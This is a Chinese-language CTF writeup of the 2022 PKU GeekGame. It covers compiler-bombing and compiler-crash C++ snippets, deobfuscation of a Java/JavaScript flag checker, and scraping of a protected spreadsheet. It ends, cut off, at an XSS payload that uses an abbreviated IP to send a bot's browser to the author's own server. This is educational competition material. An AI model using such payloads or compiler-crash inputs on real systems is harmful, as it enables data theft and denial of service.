前言

第二届北京大学信息安全综合能力竞赛

2022 年 11 月 19 日(周六)~ 26 日(周六)

北京大学信息安全综合能力竞赛(PKU GeekGame)是以信息安全相关知识能力为主的入门向竞赛,比赛目的是普及网络与信息安全相关知识,并选拔部分优秀同学加入到北京大学 CTF 战队。 本届竞赛将继续追求题目新颖有趣、难度具有梯度,让没有相关经验的新生和具有一定专业基础的学生都能享受比赛,在学习的过程中有所收获。

我们对优胜者给予丰厚的激励,并颁发由北京大学计算中心和计算机学院签发的获奖证书

题目考察的内容涉及到信息安全的各个方面,包括萌新能愉快探索的入门题目和具有一定选拔作用的题目:

  • Misc: 综合技能(常见编码和文件格式、代码审计等)
  • Web: 网站安全(Web 漏洞利用、JavaScript 编程等)
  • Binary: 二进制安全(逆向工程、程序调试等)
  • Algorithm: 算法安全(现代密码学、算法设计等)

📅 赛程安排

比赛时间为北京时间2022 年 11 月 19 日(周六)12:00 到 26 日(周六)12:00,共持续一周。 竞赛为个人线上解题赛,选手需要独立解决与安全相关的谜题获得答案。选手在比赛结束前可以随时登录本平台 geekgame.pku.edu.cn 参赛

本届竞赛将分为两个阶段,时长分别为 5 天和 2 天。在第二阶段将对多数或全部题目放出提示或降低难度,但是将只能获得 1/3 的分数。通过第二阶段,希望思路卡壳的选手能够借助提示不留遗憾,同时萌新也有机会挑战难题。

校内排名前 35 的选手需要在 27 日(周日)21:00 前提交每道解出题目的解题报告(Writeup),其他选手可以自愿提交。比赛结束后将举办颁奖典礼,并公开官方 Writeup 和部分优秀选手 Writeup。

又是一年 PKU GeekGame!

顺便,喵喵去年的 Hackergame Writeup 详见:

CTF | 2021 PKU GeekGame 1st WriteUp

由于要给老板打工搬砖、忙于学术等原因,今年这个时间段事情比较多,再加上 GeekGame 题目的难度也不小,没有啥整块的时间来看题了。

这篇也就随便看看题,记录一下做题的过程吧,还有挺多题没啥时间看了,师傅们就当参考好了(

赛后又复现了下,拖了一个月终于把这一篇给糊完了,喵呜喵呜喵~

Tutorial

†签到†

《PKU GeekGame》是北京大学自主研发的一款全新 CTF 解题赛。 比赛发生在一个被称作「信息高速路互联网」的幻想世界, 在这里,报名的选手将被授予访问题目的「权能」Token,导引赛博之力。 你将扮演一位名为「黑客」的神秘角色,在自由的解题过程中邂逅类型各异、考点独特的题目们,找出程序的漏洞或者隐藏的信息,同时逐步发掘「Flag」的真相。

第一届的签到题 一样,直接复制粘贴这段字符

fa{[emailprotected]!
lgHloPaesGeGm_2}
s ="""fa{[emailprotected]!
... lgHloPaesGeGm_2}"""
>>> ss = s.splitlines()
>>> for i in range(len(ss[0])):
...     print(ss[0][i]+ss[1][i], end='')
...
flag{[emailprotected]_V2!}

小北问答 · 极速版

菜宝十分擅长网上冲浪,会使用十种甚至九种搜索引擎。本届 PKU GeekGame 一开始,她就急不可耐地打开了小北问答题目,想要在一血榜上展现她惊人的情报搜集能力。

为了让菜宝玩得开心,小北问答题目全新升级为小北问答 · 极速版。

  • 小北问答 · 极速版自带省流助手,基于 socket 通信的纯文字 UI 简洁朴实,不浪费网络上的每一毫秒。
  • 小北问答 · 极速版自带速通计时,只有手速够快的 CTF 选手才是好的 CTF 选手。
  • 小北问答 · 极速版自带肉鸽玩法,每次连接到题目都有不一样的问题在等着你。

赶紧打开网页终端体验小北问答 · 极速版,把 Flag 抱回家吧!

你可以 打开网页终端 或者通过命令 nc prob01.geekgame.pku.edu.cn 10001 连接到题目

欢迎来到小北问答·极速版。下面将有 7 道题目,每道题目 14 分。还有 2 分将会根据你的答题速度给出。
准备好了吗?输入“急急急”开始答题。
> 急急急

计时开始。

第 1 题:访问网址 “http://ctf.世界一流大学.com” 时,向该主机发送的 HTTP 请求中 Host 请求头的值是什么?
答案格式:^[^:\s]+$

ctf.xn–4gqwbu44czhc7w9a66k.com
鉴定为:答案正确。

第 2 题:北京大学某实验室曾开发了一个叫 gStore 的数据库软件。最早描述该软件的论文的 DOI 编号是多少?
答案格式:^[\d.]+\/[\d.]+$

https://www.icst.pku.edu.cn/leizou/xm/gstore/index.htm

Lei Zou, Jinghui Mo, Lei Chen,M. Tamer Özsu, Dongyan Zhao, gStore: Answering SPARQL Queries Via Subgraph Matching, Proc. VLDB 4(8): 482-493, 2011.

https://doi.org/10.14778/2002974.2002976

10.14778/2002974.2002976
鉴定为:答案正确。

第 3 题:视频 bilibili.com/video/BV1EV411s7vu 也可以通过 bilibili.com/video/av_____ 访问。下划线内应填什么数字?
答案格式:^\d+$

随便找个 哔哩哔哩AV号/BV号转换器 就行了

418645518
鉴定为:答案正确。

第 4 题:每个 Android 软件都有唯一的包名。北京大学课外锻炼使用的最新版 PKU Runner 软件的包名是什么?
答案格式:^[a-z.]+$

下一个 app,看看包名就行

cn.edu.pku.pkurunner
鉴定为:答案正确。

第 5 题:支持 WebP 图片格式的最早 Firefox 版本是多少?
答案格式:^\d+$

“Firefox 65 supports Google’s WebP Image format - gHacks Tech News”. gHacks Technology News. 2 November 2018. Retrieved 20 January 2022.

65
鉴定为:答案正确。

第 6 题:我有一个朋友在美国,他无线路由器的 MAC 地址是 d2:94:35:21:42:43。请问他所在地的邮编是多少?
答案格式:^\d+$

每块网卡都有一个唯一MAC地址,用于在网络中唯一标示一台电子设备,方能进行正常通信;
MAC地址一般为一组12位的16进制数,其中前6位代表网卡的生产厂商,可根据前6位查询到网卡的生产厂商信息。

http://www.metools.info/other/o67.html

查出来是 Stratus Technologies,但是这个 01754 不对,摸了

第 7 题:在第一届 PKU GeekGame 比赛的题目《电子游戏概论》中,通过第 7 级关卡需要多少金钱? 答案格式:^\d+$

https://github.com/PKU-GeekGame/geekgame-1st/blob/master/src/pygame/game/server/libtreasure.py#L19

GOAL_OF_LEVEL = lambda level: 300+int(level**1.5)*100

第 x 题:我刚刚在脑海中想了一个介于 9303169745 到 9303169920 之间的质数。猜猜它是多少? 答案格式:^\d+$

可以去 wolfram alpha 查一查

(其他不想查了,摸了

你共获得了 70 分。
flag{I-am-the-kIng-oF-aNxiety}
分数达到 100 才可以获得 Flag 2。
欢迎再来!

速度的2分要在3s内做完,那就写个脚本,然后对于几个变化的题面就取下变量算一下结果,没时间写了也懒了,摸了看其他题去了。

Misc

编原译理习题课

一个测试工程师走进一家酒吧,要了一杯啤酒。

一个测试工程师走进一家酒吧,要了一杯咖啡。

一个测试工程师走进一家酒吧,要了 0.7 杯啤酒。

一个测试工程师走进一家酒吧,要了-1 杯啤酒。

一个测试工程师走进一家酒吧,要了一份雪王大圣代和冰鲜柠檬水。

一个测试工程师走进一家酒吧,对核验健康宝的店员出示了舞萌 DX 玩家二维码。

一个测试工程师走进一家酒吧,打开了 PKU GeekGame 比赛平台。

一个测试工程师走进一家酒吧,用 g++ 编译他的代码。

酒吧没炸,但 g++ 炸了。

你知道多少种让 g++ 爆炸的姿势呢?快来大显身手吧。

  • 让 g++ 编译出的程序超过 8MB 可以获得 Flag 1
  • 让 g++ 输出的报错信息超过 2MB 可以获得 Flag 2
  • 让 g++ 因为段错误而崩溃 可以获得 Flag 3

你可以 打开网页终端 或者通过命令 nc prob04.geekgame.pku.edu.cn 10004 连接到题目

你可以 下载题目源码

玩挺大

试了下网上的下面这个,据说编译这段代码之后,会生成16GB的文件。

int main[-1u]={0,};

-1u 即无符号整数的最大值 0xFFFFFFFF,即这个数组有 0xFFFFFFFF 个元素,而int类型占有4个字节,4*0xFFFFFFFF 为字节总数,而在编译器编译程序时,将数组初始化的时候会将初始值放到可执行文件中,即要生成一个 16GB 大小的程序

但是这里过不了编译,本地调试发现报错了

$ timeout 3s g++ -x c++ -o 1 1.c 
2.c:1:5: error: cannot declare ‘::main’ to be a global variable
    1 | int main[-1u]={0,};
      |     ^~~~

最后还不如直接开个大数组好了。。

We are using: g++ (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


1: Let g++ output a huge file
2: Let g++ return a long compile error
3: Let g++ crash due to segment fault

Choose a level (1-3): 1

Write your C++ code below: (no more than 512 bytes, "//EOF" to stop)
int a[10000000]={1,0};
int main(){
    return 0;
}
//EOF

Compiling your code...
The executable has 40015824 bytes.
flag{noT-mucH-Larger-than-an-electron-aPp}

See you later~

玩挺长

参考 只用 30 行以内代码,C++ 最多可以产生多少行的编译错误信息?

struct x struct z<x(x(x(x(x(x(x(x(x(x(x(x(x(x(x(x(x(y,x(y><y*,x(y*w>v<y*,w,x{}
//EOF

Compiling your code...
flag{Short volatile prOgram; long lonG mEssage;}

See you later~

看起来本意是想用 volatile 啊((

代码来自 https://github.com/vijos/malicious-code ,说来这个 GitHub repo 挺有意思的,用来测试 OJ 挺好的(x

玩挺花

第二阶段提示:

  • 前两个问题是开发 OJ 系统需要考虑的。PoC 很容易在网上搜索到。
  • 第三问考的是 GCC 的 bug(internal compiler error)。可以参考一下 GCC 的 bug tracker。

查到了这个

Bug 102434 - [11/12 Regression] ICE in output_constructor_regular_field, at varasm.c:5514 since r11-4547-g6fb7e3c29188ab7c

using size_t = decltype(sizeof 0);
namespace std {
  template<typename T> union initializer_list {
    const T *ptr;
    size_t n;
  };
}
template<typename T>
void Task() {}
auto b = { &Task<int> };
//EOF

Compiling your code...
flag{Sorry-to-inform-you-that-Gnu-is-NOt-unix}

See you later~

顺便,还发现了龙芯也有人提了类似的问题,然后被 upstream 分支修复了,乐

gcc 编译器问题 internal compiler error: in output_constructor_regular_field, at varasm.c:5512

最短的可以造成崩溃且编译器无法优化掉的 C++ 代码是什么?

让编译器崩溃的57段C语言代码,你试过吗?

OnlineJudge 沙箱实现思路

对acm评测机的简单测试

Online Judge 是如何解决判题端安全性问题的?

有什么卡OJ评测机的方法?

如何写一个评测姬 - 第四篇

在线判题系统hustoj的搭建

Flag Checker

我们发现,有很多选手在比赛中提交了错误的 Flag。

为了防止这种情况发生,给选手良好的参赛体验,这里有一个简单的 Java 程序。

你可以在程序里面输入要提交 Flag ,程序会帮你检查 Flag 是否正确。

是不是非常的贴心呢?

提醒:JRE 版本高于 15 时可能无法运行此程序。建议使用 JRE 8 运行。

你可以 下载题目附件

Flag 1

给了个 .jar

瞄了眼只有个 GeekGame 类,直接拖进 jadx

package defpackage;

import java.awt.Button;
import java.awt.Component;
import java.awt.Frame;
import java.awt.Label;
import java.awt.TextField;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.util.Base64;
import javax.script.Invocable;
import javax.script.ScriptEngineManager;
import javax.swing.BoxLayout;
import javax.swing.JOptionPane;

/* renamed from: GeekGame  reason: default package */
/* loaded from: prob15.jar:GeekGame.class */
public class GeekGame extends Frame implements ActionListener {
    TextField textField1 = new TextField("flag{...}");
    Button button1 = new Button("Check Flag 1");
    Button button2 = new Button("Check Flag 2");
    Invocable invocable;

    GeekGame() {
        setSize(300, 300);
        setVisible(true);
        setLayout(new BoxLayout(this, 1));
        Label label = new Label("Flag: ");
        this.button1.addActionListener(this);
        this.button2.addActionListener(this);
        add(label);
        add(this.textField1);
        add(this.button1);
        add(this.button2);
        Invocable engineByName = new ScriptEngineManager().getEngineByName("nashorn");
        try {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < "\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ï\u008c\u0087\u008a\u008c\u0084\u0089\u0083\u008e\u0088ÝÇ°ß\u0097\u008e×Ü\u008a\u0097ÝÆ\u0094\u0099\u008e\u009dÏ°ß\u0097ØÝÛ\u008dÒ´È\u008c\u0087\u008e\u009d¬\u0080\u008b\u008a®\u009bÈÃÈ\u0082\u008e\u009fÈÃÈÈÃÈ\u009c\u009f\u0083\u0086\u009bÈÃÈ\u009c\u009b\u009d\u0086\u0081\u0088\u0086\u0089\u0096ÈÃȬ\u0080\u009d\u009d\u008a\u008c\u009bÈÃȸ\u009d\u0080\u0081\u0088ÈÃÈ\u0085ÂȲÔ\u009d\u008a\u009b\u009a\u009d\u0081ÏÇ¥¼ ¡´°ß\u0097ØÝÛ\u008d´Û²²Ç°ß\u0097\u008e×Ü\u008a\u0097Ý´°ß\u0097ØÝÛ\u008d´Ü²²Ç°ß\u0097ØÝÛ\u008d´Ý²Æ´°ß\u0097ØÝÛ\u008d´Þ²²Ç\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0094\u009d\u008a\u009b\u009a\u009d\u0081Ï°ß\u0097\u008e×Ü\u008a\u0097Ü´°ß\u0097ØÝÛ\u008d´ß²²ÇßÆ\u0092ÆÆÒÒÏ¥¼ ¡´°ß\u0097ØÝÛ\u008d´Û²²Ç´ßÃÞÚÃÞÙÃÞØÃÜßÃÞßÚÃÞÙÃÜÞÃÞÙÃÙØÃÜÃÜÜÃÚÃÙßÃÛÃÞßÙÃÙÃÛÞÃßÃÞÃÙØÃÜÃÞÙÃÛÃÙÃÜÜÃÝÜݲ´°ß\u0097ØÝÛ\u008d´Þ²²Ç\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0094\u009d\u008a\u009b\u009a\u009d\u0081ÏÇ\u008c\u0087\u008a\u008c\u0084\u0089\u0083\u008e\u0088ÝÄÏ°ß\u0097ØÝÛ\u008d´Ý²Æ´°ß\u0097ØÝÛ\u008d´ß²²Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0092ÆÆаß\u0097ØÝÛ\u008d´Ú²Õ°ß\u0097ØÝÛ\u008d´Ù²Æ\u0092".length(); i++) {
                sb.append((char) ("\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ï\u008c\u0087\u008a\u008c\u0084\u0089\u0083\u008e\u0088ÝÇ°ß\u0097\u008e×Ü\u008a\u0097ÝÆ\u0094\u0099\u008e\u009dÏ°ß\u0097ØÝÛ\u008dÒ´È\u008c\u0087\u008e\u009d¬\u0080\u008b\u008a®\u009bÈÃÈ\u0082\u008e\u009fÈÃÈÈÃÈ\u009c\u009f\u0083\u0086\u009bÈÃÈ\u009c\u009b\u009d\u0086\u0081\u0088\u0086\u0089\u0096ÈÃȬ\u0080\u009d\u009d\u008a\u008c\u009bÈÃȸ\u009d\u0080\u0081\u0088ÈÃÈ\u0085ÂȲÔ\u009d\u008a\u009b\u009a\u009d\u0081ÏÇ¥¼ ¡´°ß\u0097ØÝÛ\u008d´Û²²Ç°ß\u0097\u008e×Ü\u008a\u0097Ý´°ß\u0097ØÝÛ\u008d´Ü²²Ç°ß\u0097ØÝÛ\u008d´Ý²Æ´°ß\u0097ØÝÛ\u008d´Þ²²Ç\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0094\u009d\u008a\u009b\u009a\u009d\u0081Ï°ß\u0097\u008e×Ü\u008a\u0097Ü´°ß\u0097ØÝÛ\u008d´ß²²ÇßÆ\u0092ÆÆÒÒÏ¥¼ ¡´°ß\u0097ØÝÛ\u008d´Û²²Ç´ßÃÞÚÃÞÙÃÞØÃÜßÃÞßÚÃÞÙÃÜÞÃÞÙÃÙØÃÜÃÜÜÃÚÃÙßÃÛÃÞßÙÃÙÃÛÞÃßÃÞÃÙØÃÜÃÞÙÃÛÃÙÃÜÜÃÝÜݲ´°ß\u0097ØÝÛ\u008d´Þ²²Ç\u0089\u009a\u0081\u008c\u009b\u0086\u0080\u0081Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0094\u009d\u008a\u009b\u009a\u009d\u0081ÏÇ\u008c\u0087\u008a\u008c\u0084\u0089\u0083\u008e\u0088ÝÄÏ°ß\u0097ØÝÛ\u008d´Ý²Æ´°ß\u0097ØÝÛ\u008d´ß²²Ç°ß\u0097\u008e×Ü\u008a\u0097ÜÆ\u0092ÆÆаß\u0097ØÝÛ\u008d´Ú²Õ°ß\u0097ØÝÛ\u008d´Ù²Æ\u0092".charAt(i) ^ 239));
            }
            engineByName.eval(sb.toString());
        } catch (Exception e) {
            StringWriter stringWriter = new StringWriter();
            e.printStackTrace(new PrintWriter(stringWriter));
            JOptionPane.showMessageDialog((Component) null, stringWriter.toString());
        }
        this.invocable = engineByName;
        addWindowListener(new WindowAdapter() { // from class: GeekGame.1
            public void windowClosing(WindowEvent windowEvent) {
                System.exit(0);
            }
        });
    }

    public void actionPerformed(ActionEvent actionEvent) {
        try {
            if (actionEvent.getSource() == this.button1) {
                if ("MzkuM8gmZJ6jZJHgnaMuqy4lMKM4".equals(rot13(Base64.getEncoder().encodeToString(this.textField1.getText().getBytes("UTF-8"))))) {
                    JOptionPane.showMessageDialog((Component) null, "Correct");
                } else {
                    JOptionPane.showMessageDialog((Component) null, "Wrong");
                }
            } else {
                JOptionPane.showMessageDialog((Component) null, (String) this.invocable.invokeFunction(actionEvent.getSource() == this.button2 ? "checkflag2" : "checkflag3", new Object[]{this.textField1.getText()}));
            }
        } catch (Exception e) {
            StringWriter stringWriter = new StringWriter();
            e.printStackTrace(new PrintWriter(stringWriter));
            JOptionPane.showMessageDialog((Component) null, stringWriter.toString());
        }
    }

    static String rot13(String str) {
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < str.length(); i++) {
            char charAt = str.charAt(i);
            if (charAt >= 'a' && charAt <= 'm') {
                charAt = (char) (charAt + '\r');
            } else if (charAt >= 'A' && charAt <= 'M') {
                charAt = (char) (charAt + '\r');
            } else if (charAt >= 'n' && charAt <= 'z') {
                charAt = (char) (charAt - '\r');
            } else if (charAt >= 'N' && charAt <= 'Z') {
                charAt = (char) (charAt - '\r');
            } else if (charAt >= '5' && charAt <= '9') {
                charAt = (char) (charAt - 5);
            } else if (charAt >= '0' && charAt <= '4') {
                charAt = (char) (charAt + 5);
            }
            sb.append(charAt);
        }
        return sb.toString();
    }

    public static void main(String[] strArr) {
        new GeekGame();
    }
}

这里的 rot13 看上去是魔改了的(?难道是 CyberChef 遇到带数字的 ROT13 处理锅了?

flag1 就直接按照魔改后的 rot13 恢复一下,然后 base64 decode 就行

import base64

def rot13(s):
    r = ''
    for i in s:
        if i >= 'a' and i <= 'm':
            x = chr(ord(i) + ord('\r'))
        elif i >= 'A' and i <= 'M':
            x = chr(ord(i) + ord('\r'))
        elif i >= 'n' and i <= 'z':
            x = chr(ord(i) - ord('\r'))
        elif i >= 'N' and i <= 'Z':
            x = chr(ord(i) - ord('\r'))
        elif i >= '5' and i <= '9':
            x = chr(ord(i) - 5)
        elif i >= '0' and i <= '4':
            x = chr(ord(i) + 5)
        r += x
    return r

flag1 = rot13("MzkuM8gmZJ6jZJHgnaMuqy4lMKM4")
# ZmxhZ3tzMW1wMWUtanZhdl9yZXZ9
flag1 = base64.b64decode(flag1)
print(flag1)
# flag{s1mp1e-jvav_rev}

Flag 2

这个部分执行了个 JavaScript 代码,nashorn 是个 js 执行引擎

首先把这部分异或一下拿到 js 代码,发现是混淆后的

s = "\u0089\u009a\u0081\u008c\u009b\u0086\u0080..."
# len(s)
# 444

r = ''
for i in s:
    x = chr(ord(i) ^ 239)
    # print(x)
    r += x
print(r)
# function checkflag2(_0xa83ex2){var _0x724b=['charCodeAt','map','','split','stringify','Correct','Wrong','j-'];return (JSON[_0x724b[4]](_0xa83ex2[_0x724b[3]](_0x724b[2])[_0x724b[1]](function(_0xa83ex3){return _0xa83ex3[_0x724b[0]](0)}))== JSON[_0x724b[4]]([0,15,16,17,30,105,16,31,16,67,3,33,5,60,4,106,6,41,0,1,67,3,16,4,6,33,232][_0x724b[1]](function(_0xa83ex3){return (checkflag2+ _0x724b[2])[_0x724b[0]](_0xa83ex3)}))?_0x724b[5]:_0x724b[6])}

稍微修复一下,手动解混淆就行了

checkflag2+ _0x724b[2] 其实就是将函数本身给转化为字符串

function checkflag2(s) {
    // var _0x724b = ['charCodeAt', 'map', '', 'split', 'stringify', 'Correct', 'Wrong', 'j-'];
    return (JSON['stringify'](s['split']('')['map'](function (x) {
        return x['charCodeAt'](0)
    })) == JSON['stringify']([0, 15, 16, 17, 30, 105, 16, 31, 16, 67, 3, 33, 5, 60, 4, 106, 6, 41, 0, 1, 67, 3, 16, 4, 6, 33, 232]['map'](function (x) {
        return ("function checkflag2(_0xa83ex2){var _0x724b=['charCodeAt','map','','split','stringify','Correct','Wrong','j-'];return (JSON[_0x724b[4]](_0xa83ex2[_0x724b[3]](_0x724b[2])[_0x724b[1]](function(_0xa83ex3){return _0xa83ex3[_0x724b[0]](0)}))== JSON[_0x724b[4]]([0,15,16,17,30,105,16,31,16,67,3,33,5,60,4,106,6,41,0,1,67,3,16,4,6,33,232][_0x724b[1]](function(_0xa83ex3){return (checkflag2+ _0x724b[2])[_0x724b[0]](_0xa83ex3)}))?_0x724b[5]:_0x724b[6])}")['charCodeAt'](x)
    })) ? 'Correct' : 'Wrong')
}

// JSON['stringify'](...)
// '[102,108,97,103,123,106,97,118,97,115,99,114,105,112,116,45,111,98,102,117,115,99,97,116,111,114,125]'
// flag{javascript-obfuscator}

Web

企鹅文档

在一个开源软件学术大会上,主持人突然说:下面请认为无代码开发会减少安全漏洞的同志坐到会场左边,认为无代码开发会增加安全漏洞的同志坐到会场右边。

大部分人坐到了左边,少数人坐到右边,只有 You 酱还坐在中间不动。

主持人:侑同志,你到底认为无代码开发会减少还是增加漏洞?

回答:我认为无代码开发会减少原来存在的漏洞,但是会带来很多新的漏洞。

主持人慌忙说:那请您赶快坐到主席台上来。

企鹅文档相信大家都很熟悉,它是企鹅公司久负盛名的在线文档编辑平台。但是基于企鹅文档的无代码 OA 系统是怎么回事呢?下面就让小编带大家一起了解吧。

基于企鹅文档的无代码 OA 系统,其实就是用企鹅文档来实现 OA 系统。很多企业、学校、组织之前使用 OA 系统来下发通知和填报报表,现在这些机构很多都转向了使用企鹅文档来下发通知和填报报表,当然可以选择问卷星这些类似的服务。

大家可能会感到惊讶,用企鹅文档来填报报表不会出现安全和隐私问题吗?但事实就是这样,小编也感到非常惊讶。

那么这就是基于企鹅文档的无代码 OA 系统了,大家有没有觉得很神奇呢?快快点击左下角的阅读原文来看看基于企鹅文档的无代码 OA 系统吧。

你可以 访问企鹅文档

说到 无代码平台,就想到你校用那个 sb 无代码平台了,算了不说了信息早都漏完了

直接这里看不到也复制不了,设为保护范围了

但是吧这是个文档,东西肯定都返回前端了的,搜一下就行了

exp:

import json

with open('1.json', encoding='utf-8') as f:
    s = json.loads(f.read())

r = ''
for i in range(len(s)):
    r += s[str(i)]["2"][1]
print(r)
# 通过以下链接访问题目机密flag:https://geekgame.pku.edu.cn/service/template/prob_kAiQcWHobs

# 第二个请求
# BzRJEs_next
# https://geekgame.pku.edu.cn/service/template/prob_kAiQcWHobsBzRJEs_next

居然是套娃题!

附件给了个浏览器 Network 导出的 .har 文件,那就打开直接搜

flag 相关的长这样

{"0":{"0":5,"2":[1,"Below is your flag"],"3":0},"24":{"0":1,"3":1},"25":{"0":1,"3":1},"26":{"0":1,"3":1},"34":{"0":1,"3":1},"35":{"0":1,"3":1},"37":{"0":1,"3":1},"38":{"0":1,"3":1},"45":{"0":1,"3":1},"46":{"0":1,"3":1},"55":{"0":1,"3":1},"56":{"0":1,"3":1},"57":{"0":1,"3":1},"58":{"0":1,"3":1},"67":{"0":1,"3":1},"68":{"0":1,"3":1},"78":{"0":1,"3":1},"79":{"0":1,"3":1},"88":{"0":1,"3":1},"89":{"0":1,"3":1},"90":{"0":1,"3":1},"91":{"0":1,"3":1},"111":{"0":1,"3":1},"112":{"0":1,"3":1},"113":{"0":1,"3":1},"123":{"0":1,"3":1},"124":{"0":1,"3":1},"134":{"0":1,"3":1},"135":{"0":1,"3":1},"145":{"0":1,"3":1},"146":{"0":1,"3":1},"156":{"0":1,"3":1},"157":{"0":1,"3":1},"167":{"0":1,"3":1},"168":{"0":1,"3":1},"177":{"0":1,"3":1},"178":{"0":1,"3":1},"179":{"0":1,"3":1},"180":{"0":1,"3":1},"199":{"0":1,"3":1},"200":{"0":1,"3":1},"201":{"0":1,"3":1},"202":{"0":1,"3":1},"213":{"0":1,"3":1},"214":{"0":1,"3":1},"221":{"0":1,"3":1},//...
}

发现这个一行从 A->K 是0到10,正好 24 就是第一个纯黑块的地方,于是写个脚本画个图,给这些点上色就好了

exp:

from PIL import Image
import json

with open('flag.json', encoding='utf-8') as f:
    s = json.loads(f.read())

l = []
for i in s:
    l.append(int(i))
# print(l)

# 2563/11=233.0
img = Image.new('RGB', (11, 234), color=(255, 255, 255))

for i in l:
    img.putpixel((i % 11, i//11), (0, 0, 0))
img.show()
img.save('flag.png')

# flag{ThisIsNotSponsoredByTencent}

没有恰腾讯爸爸的饭,笑死了

给钱不要!

给钱不要,要钱不给,信息不漏!

Give money no need. Need money no give. Information no leak.

You 酱是 GeekGame 比赛的资深命题人,她深知“人”是信息安全中最薄弱的环节,人的使用习惯胜过一切安全措施。毕竟电脑只要不开机就不会中毒,链接只要不点就不会被骗。

话虽如此,但她最近沉迷于收集疯狂星期四表情包。身为超级嘿客的你偶然发现她经常使用的表情包下载网站存在一种 XSS 漏洞,只要在网站上输入一串字符就可以泄露她珍藏的 Flag。 为了宝贵的奖金,你决定试试看她在魅力十足的疯狂星期四面前还能否保持理性。

鲁莽的攻击行为总是伴随着风险:如果 You 酱觉得你发给她的字符串很可疑,机智的她就会立刻将你举报到保卫部,然后很快就会有骑着白色高级电瓶车的保安出现在楼下将你带走。这可就遭了。

补充说明:完全没有思路可以看看 Chrome 地址栏自动补全的相关源码。不看源码的话,或许灵感 + 一定程度的 Fuzz 也能起到效果。

萌新教学:

本题提供了一个模拟受害者行为的程序,称为 XSS Bot。XSS Bot 会自动操作浏览器将 Flag 放置在目标网站上,然后输入你提供的字符串。

请设法利用目标网站上的漏洞,获得受害者浏览器中的 Flag。

你可以 访问目标网站

你可以 打开网页终端 或者通过命令 nc prob06.geekgame.pku.edu.cn 10006 连接到 XSS Bot

你可以 下载 XSS Bot 源码

第二阶段提示:

要钱不给!!

xss bot:

# pip3 install selenium
# you also need a chromedriver according to your chrome version, available at https://chromedriver.chromium.org/downloads

from selenium import webdriver
from enum import Enum
import time

try:
    from flag import getflag
except:
    def getflag(index):
        return [
            'fake{congrats, now get flag 1 from the real xss bot}',
            'fake{congrats, now get flag 2 from the real xss bot}',
        ][index-1]

VULN_URL = 'http://prob06-vuln.geekgame.pku.edu.cn'

def remove_protocols(t):
    for prefix in ['http://', 'https://', 'file://']:
        if t.startswith(prefix):
            return t[len(prefix):]
    return t

class SafetyLevel(Enum):
    dangerous = 1
    safe = 2
    very_safe = 3

def check_safety(driver, text):
    if '%' in text:
        return SafetyLevel.dangerous
    
    text = remove_protocols(text)
    
    driver.get('chrome://omnibox')
    time.sleep(.5)
    
    shadow = driver.find_element('id', 'omnibox-input').shadow_root
    shadow.find_element('id', 'zero-suggest').click()
    shadow.find_element('id', 'input-text').send_keys(text)
    time.sleep(.5)
    
    result = ( # it looks stupid that chrome://omnibox uses so many shadow doms :(
        driver
            .find_element('id', 'omnibox-output').shadow_root
            .find_element('css selector', 'output-results-group').shadow_root
            .find_element('css selector', 'output-results-details').shadow_root
            .find_element('id', 'type').text
    )
    
    if result=='query':
        return SafetyLevel.very_safe
    elif result=='unknown':
        return SafetyLevel.safe
    else:
        return SafetyLevel.dangerous

try:
    print('\nYOU-Chan is going to visit a vulnerable website:', VULN_URL)
    print('Send some text to YOU-Chan, and she will paste it in that website.')
    
    text = input('> ')
    assert all(0x20<=ord(c)<=0x7e for c in text) and len(text)<=4000
    
    print('\nStarting up her browser...')
    
    options = webdriver.ChromeOptions()
    options.add_argument('--no-sandbox') # sandbox not working in docker :(
    options.add_experimental_option('excludeSwitches', ['enable-logging'])

    with webdriver.Chrome(options=options) as driver:
        ua = driver.execute_script('return navigator.userAgent')
        print('She is using:', ua)
        
        print('\nFirst of all, she checks the safety of your text,')
        safety = check_safety(driver, text)
        print('  which is %s.'%safety.name)
        
        if safety==SafetyLevel.dangerous:
            print('\nShe feels afraid because of this.')
            assert False
        
        print('\nThen she visits the vulnerable website,')
        driver.get(VULN_URL)
        time.sleep(1)
        print('  and put her flag for you.')
        driver.execute_script('document.querySelector(".flag").textContent = "%s"'%getflag(2))
        time.sleep(1)
        
        print('\nNow she pastes your text into the text field,')
        driver.find_element('id', 'filename').clear()
        driver.find_element('id', 'filename').send_keys(text)
        time.sleep(.5)
        print('  and clicks on the button.')
        driver.find_element('id', 'go').click()
        time.sleep(5)
        
        title = driver.title
        print('\nThe page title is:', title)
        
        if safety==SafetyLevel.very_safe and title=='GIVE-ME-FLAG-1 #=_= @[emailprotected] ^~^ %[*.*]%':
            print('  so here is your flag 1:', getflag(1))
        
    print('\nSee you later :)')
    
except Exception as e:
    print('ERROR', type(e))
    #raise

前端:

页面上这里会把输入的内容直接拼接到 location.href 里,从而造成 XSS

function go() {
    location.href = document.getElementById('filename').value + '.jpg';
}

难点在于需要让 chrome 的地址栏将我们的输入解析为 unknown 甚至是 query

这个的判断用到了 chrome://omnibox 里的这个 type

相关的源码 在这里

IP 地址相关,可以看出如果是不完整的 IP 也会尝试去解析

但是喵喵构造了老半天也弄不出来能让他识别成 QUERY 的 payload……

https://prob06-vuln.geekgame.pku.edu.cn/how_to_get_flag.jpg

看了官方 wp,才知道原来还能点分,但没有完全点分(???

例如,以下所有 URL 都是等价的,不信你就把它输入进 Chrome 试试看:

2242638 也就是 78 + 56*256 + 34*256*256

于是可以构造个自己 VPS IP + port 的 payload,比如

http://47.2242638:1234?

在 vps 上放个下面内容的页面

